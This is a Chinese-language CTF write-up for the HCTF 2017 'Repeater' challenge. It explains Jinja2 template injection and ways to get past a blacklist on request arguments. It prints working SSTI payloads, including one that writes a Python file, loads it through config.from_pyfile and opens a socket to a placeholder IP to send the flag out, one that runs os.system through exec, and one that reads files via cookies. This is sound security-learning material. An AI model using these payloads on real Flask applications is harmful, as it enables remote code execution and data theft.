Repeater

题目是根据原文魔改的
打开题目F12发现server为

Server: Werkzeug/0.12.2 Python/2.7.12

然后发现输入x就返回x was not found.
差不多可以想到jinja模板注入问题
测试

secret={\{2-1}}

返回1 was not found.即可验证
由于也是黑名单过滤,绕过方式看师傅们的姿势
request.args过滤了

空格(%20),回车(%0a),'__','[',']','os','"',"|[a-z]"

直接构造是可以bypass的
空格可以用tab(%09)绕过,|后不允许接a-z可以用%0c,tab等绕过,os可以通过python中exec绕过
但是这题过滤仅限于request.args但是不允许post
简单的办法是可以用request.cookies来绕过
只能读文件的方法要找flag首先需要先到/etc/passwd看到有hctf用户,然后读取/home/hctf/.bash_history,发现flag路径/h3h3_1s_your_flag/flag,在读取flag
随便列几种解题方法
1.不用blask_list里的符号

    secret={\%set%0ca,b,c,d,e,f,g,h,i=request|%0cattr(request.args.class|%0cformat(request.args.a,request.args.a,request.args.a,request.args.a))|%0cattr(request.args.mro|%0cformat(request.args.a,request.args.a,request.args.a,request.args.a))%}{\{(i|%0cattr(request.args.subc|%0cformat(request.args.a,request.args.a,request.args.a,request.args.a))()).pop(40)(request.args.file,request.args.write).write(request.args.payload)}}{\{config.from_pyfile(request.args.file)}}&class=%s%sclass%s%s&mro=%s%smro%s%s&subc=%s%ssubclasses%s%s&usc=_&file=/tmp/foo.py&write=w&a=_&payload=import%0csocket;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('xxx.xxx.xxx.xxx',2333));s.send(open('/h3h3_1s_your_flag/flag').read());复制

2.exec构造绕过’os’执行os系统命令

`a='import\x0co'+'s;o'+'s.system(\'ls${IFS}/\')';exec(a)`

3.通过request.cookies

    Url: http://repeater.2017.hctf.io/?secret={\{request|%0cattr(request.cookies.class)|%0cattr(request.cookies.mro)|%0clast()|%0cattr(request.cookies.sub)()|%0cattr(request.cookies.getitem)(40)(request.cookies.file)|%0cattr(request.cookies.read)()}}
    Cookie: file=/h3h3_1s_your_flag/flag;class=__class__;mro=__mro__;sub=__subclasses__;getitem=__getitem__;read=read;

本文章首发在 网安wangan.com 网站上。

上一篇 下一篇
讨论数量: 0
只看当前版本


暂无话题~